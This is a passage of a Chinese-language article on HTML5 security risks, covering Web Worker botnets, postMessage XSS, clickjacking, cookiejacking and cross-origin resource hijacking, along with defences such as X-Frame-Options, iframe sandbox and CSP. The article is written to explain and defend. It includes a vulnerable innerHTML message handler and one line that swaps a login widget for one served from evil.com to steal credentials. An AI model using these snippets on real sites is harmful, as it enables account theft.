HTML5的安全风险详析
无论是select、modify、update或者delete，你编写的任何一条SQL语句操作都有可能成为攻击者的攻击对象，造成重大损失，所以都必须要谨慎对待。
4)不要存储重要数据
本地数据库永远透明而不安全，重要的数据必须要存储在服务器上，本地数据库里没有重要数据就不会对用户造成重大损失。
5)杜绝XSS漏洞
XSS攻击的防御将会在专门章节阐述，本文不展开详析。
四、Web Worker攻击
由于JavaScript是单线程执行的，在执行过程中浏览器不能执行其它JavaScript脚本，UI渲染线程也会被挂起，从而导致浏览器进入僵死状态。使用WebWorker可以将计算过程放入一个新线程里去执行将避免这种情况的出现。
一、WebWorker介绍
由于JavaScript是单线程执行的，在执行过程中浏览器不能执行其它JavaScript脚本，UI渲染线程也会被挂起，从而导致浏览器进入僵死状态。使用WebWorker可以将计算过程放入一个新线程里去执行将避免这种情况的出现。这样我们可以同时执行多个JS任务而不会阻塞浏览器，非常适合异步交互和大规模计算，这在以前是很难做到的。
下面一张图形象的揭示了WebWorker的作用：没有WebWorker时，如果我们要煎一个鸡蛋饼，需要先和面粉，然后打鸡蛋，最后才能煎饼;使用WebWorker，可以在和面粉的同时打鸡蛋，这两者同时进行，都完成后就能开始煎饼，极大的缩短了等待的时间。
但是这样一个好的特性也会引入攻击的可能。
二、WebWorker攻击
1、Botnet
攻击的方式包括DDos攻击、发送垃圾邮件，用户一旦访问恶意页面或者网站时，页面的恶意代码就能把用户的浏览器当作肉鸡，利用WebWorker大规模执行多线程攻击，例如DDos攻击、发送垃圾邮件或者进行网络嗅探。
DDOS攻击(分布式拒绝服务攻击)
2、postMessage带来的问题
WebWorker无法访问DOM，只能通过postMessageAPI和主线程通信。postMessage在HTML5中被引入，用来解决跨域或者跨线程数据交互的问题。但是如果messaging可以接收任何来源的信息，此页面有可能会被攻击;另外postMessage不通过服务器，如果不经过验证和过滤，可能成为XSS注入点。例如如下代码没有对输入数据进行验证和清洗，攻击者完全可以构造恶意的data来注入页面DOM，构造XSS攻击，形如“>”等等。
worker.addEventListener(‘message’,function(e) {
document.getElementById(‘result’).innerHTML = e.data;
}, false);
三、攻击工具
Ravan是一个JS的分布式计算系统，可以用HTML5Web Worker通过后台加密的JS多线程脚本来执行蛮力攻击。
四、预防之道
1、对于用户来说，不要访问不安全的站点。
2、使用postMessage时需要验证来源可信;另外不要使用innerHTML，现代浏览器提供了textContent属性，可以帮助对HTML标签进行过滤，或者你可以自行编写过滤的逻辑和函数。
五、劫持攻击
下面我们要讲到一类的HTML5安全问题，也就是劫持的问题。
一、ClickJacking-点击劫持
这种攻击方式正变得越来越普遍。被攻击的页面作为iframe，用Mask的方式设置为透明放在上层，恶意代码偷偷地放在后面的页面中，使得一个页面看起来似乎是安全的，然后诱骗用户点击网页上的内容，达到窃取用户信息或者劫持用户操作的目的。下图中，欺诈的页面放置在下层，被攻击的银行页面作为透明的层放置在上层，用户看到的是欺诈页面上显示的信息并进行输入和点击，但是真正的用户行为是发生在银行页面上的。
想象一下，点击劫持可以诱使你发布一条虚假微博、或者发送一封虚假邮件甚至盗取你的个人信息。例如下图可以诱使我们发布一条虚假的Twitter消息。
这里有一个测试工具clickjacktest可以检测你的页面是否有点击劫持的风险，你可以输入一个网址并点击Test，如果页面可以正常显示并加载，那么表示这个页面存在被点击劫持攻击的风险，如果页面显示为一片空白，那么表示页面比较安全。
二、CookieJacking-Cookie劫持
ClickJacking只涉及点击操作，但是HTML5的拖放API使得这种攻击扩大到拖放操作。因为现在Web应用里，有大量需要用户拖放完成的操作。在同源策略里，一个域的Cookie只能被本域所访问，但是拖放操作是不受同源策略限制的，这样利用拖放操作、XSS和其他技巧，可以构造跨域合法请求，劫持Cookie。
实现原理其实和ClickJacking类似，只要欺骗用户进行拖放行为，就可以把用户某个域的信息发送到另外一个域里。这个其实很容易做到，之前有一个研究者就在Facebook上建立了一个应用，这个应用的功能是让用户把图片上美女的衣服拖拽下来。我想可能大多数人都会去尝试而且不会有警惕心理。
我们应当如何防止ClickJacking、CookieJacking呢?
1、X-Frame-Options：所有的现代浏览器都支持X-Frame-Options HTTP头，这个头允许页面被iframe使用时是否正常渲染。下图中的页面就是当X-Frame-Options生效时的效果。
2、JavaScript方式
这种方式非常常见，具体代码就是：
if (top !==window)
top.location = window.location.href;
Facebook和Twitter都使用了这种方式，但是这种方式并不是完全奏效的，例如攻击者可以使用204转向或者禁用JavaScript的方式来绕过(例如iframe沙箱)。
不过现在至少80%以上的网站都没有注意到点击劫持和cookie劫持的问题并加以保护。我这篇文章的主要目的就是提醒大家注意到这种隐蔽的攻击方式并有针对性的进行防御。
三、CORJacking-跨域资源劫持
CORJacking是指跨源资源劫持。HTML5应用有各种不同的资源，例如Flash文件，Silverligh，视频，音频等，这些资源可以通过DOM访问和控制。如果页面存在XSS漏洞，那么攻击者可能通过跨域资源的劫持进行攻击。例如下面的代码载入了一个swf文件，作为用户登录框，这里面我们可以实现一些加密的逻辑。
当页面存在XSS漏洞时，攻击者可以利用如下脚本把swf文件替换为欺诈的虚假资源。
document.getElementByName(‘Login’).item(0).src=‘http://evil.com/login.swf’;
那么当用户在这样的登录框里输入自己的用户名和密码并登录时，他的帐号就已经被盗取了。
这个问题在不同浏览器里面表现是不一致的，有兴趣的朋友可以下去自行测试。
完结篇：HTML5对安全的改进
HTML5对旧有的安全策略进行了非常多的补充。HTML5为iframe元素增加了sandbox属性防止不信任的Web页面执行某些操作，例如访问父页面的DOM、执行脚本、访问本地存储或者本地数据库等等。
HTML5对旧有的安全策略进行了非常多的补充。
一、iframe沙箱
HTML5为iframe元素增加了sandbox属性防止不信任的Web页面执行某些操作，例如访问父页面的DOM、执行脚本、访问本地存储或者本地数据库等等。但是这个安全策略又会带来另外的风险，这很有趣，例如ClickJacking攻击里阻止JavaScript脚本的运行来绕过JavaScript的防御方式。
二、CSP内容安全策略
XSS通过虚假内容和诱骗点击来绕过同源策略。 XSS攻击的核心是利用了浏览器无法区分脚本是被第三方注入的，还是真的是你应用程序的一部分。CSP定义了Content-Security-Policy HTTP头来允许你创建一个可信来源的白名单，使得浏览器只执行和渲染来自这些来源的资源，而不是盲目信任服务器提供的所有内容。即使攻击者可以找到漏洞来注入脚本，但是因为来源不包含在白名单里，因此将不会被执行。
三、XSS过滤器
Chrome、Safari这样的现代浏览器也构建了安全防御措施，在前端提供了XSS过滤器。例如http://test.jiangyujie.com/?text=
在Chrome中将无法得到执行，如下图所示。
四、其他
另外HTML5的应用程序访问系统资源比Flash更受限制。
最后，关于HTML5专门的安全规范目前还在讨论中，有的人希望分散到HTML5规范的各个章节，有的人希望单独列出，目前没有单独的内容，因为不仅要考虑Web App开发者的安全，还要考虑实现HTML5支持的厂商，对它们进行规范和指导。
我个人认为HTML5的安全规范将会有一个统一的章节来进行阐述，并在各个功能模块相应的提及。
【HTML5的安全风险详析】相关文章：